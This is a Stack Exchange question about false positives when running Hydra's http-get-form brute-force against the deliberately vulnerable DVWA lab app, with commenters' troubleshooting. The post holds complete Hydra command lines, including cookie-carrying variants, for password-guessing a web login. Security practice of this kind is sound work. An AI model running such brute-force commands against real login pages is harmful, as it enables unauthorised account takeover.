Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I have an issue with Hydra when I use it. I have tried the same command lines given in guides directly supported by the Damn Vulnerable Web Application (DVWA) v1.8.

Ok so.. here is my attempt output...

root@kali:~# hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt
http-get-form "/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&
password=^PASS^&submit=Login:Username and/or password incorrect." -f

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-09-06 05:18:12
[DATA] 16 tasks, 1 server, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.1.2   login: admin   password: shadow
[STATUS] attack finished for 192.168.1.2 (valid pair found)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-09-06 05:18:12

Yes, its true that the HTML form method is GET. :O)

Ok so, regardless how many times I run the command I get different answers.. like..

Attempt 1

[80][www-form] host: 192.168.1.2   login: admin   password: 101193
[80][www-form] host: 192.168.1.2   login: admin   password: horse

Attempt 2

[80][www-form] host: 192.168.1.2   login: admin   password: carhorn
[80][www-form] host: 192.168.1.2   login: admin   password: shadowfox
[80][www-form] host: 192.168.1.2   login: admin   password: multible

UPDATE!!!!

hydra 192.168.1.2 -l admin -P /wordlists/500-worst-passwords.txt http-get-form 
"/DVWA-1.0.8/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&
submit=Login:Username and/or password incorrect.:H=Cookie: security=high;
PHPSESSID=jtujthkeh08foqfomph232rp77"

I tried to add the cookie phpsession id aswell. I also tried to put in the:

-t <tasks>

So far I have no success.

share|improve this question
    
I may add that, the password file that use do contain the correct password. I think its about line 20 or so its found in the file. –  Daniel Sep 6 '13 at 9:36
2  
hydra scans for "Username and/or password incorrect" to detect failed attempts in the answer. if this is not found, for whatever reasons, if thinx that login is OK. –  that guy from over there Sep 6 '13 at 9:45
    
Thanks for your comment, but the output text is correct in my case :-). The output text the application makes is "Username and/or password incorrect." –  Daniel Sep 6 '13 at 9:48
    
Let me add that i tried to set different failure attempts in aswell, as in parts of the failed text. –  Daniel Sep 6 '13 at 9:51
1  
the output-text is correct, thats not what i wanted to say. what i wanted to say is: what happens if the response is empty? or your server is overloaded and doesnt respond / respond with 403? i see the issue here with hydra, not beeing able to detect false positives. maybe you limit the concurrent-number of tests until you get valid results –  that guy from over there Sep 6 '13 at 10:59

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Browse other questions tagged or ask your own question.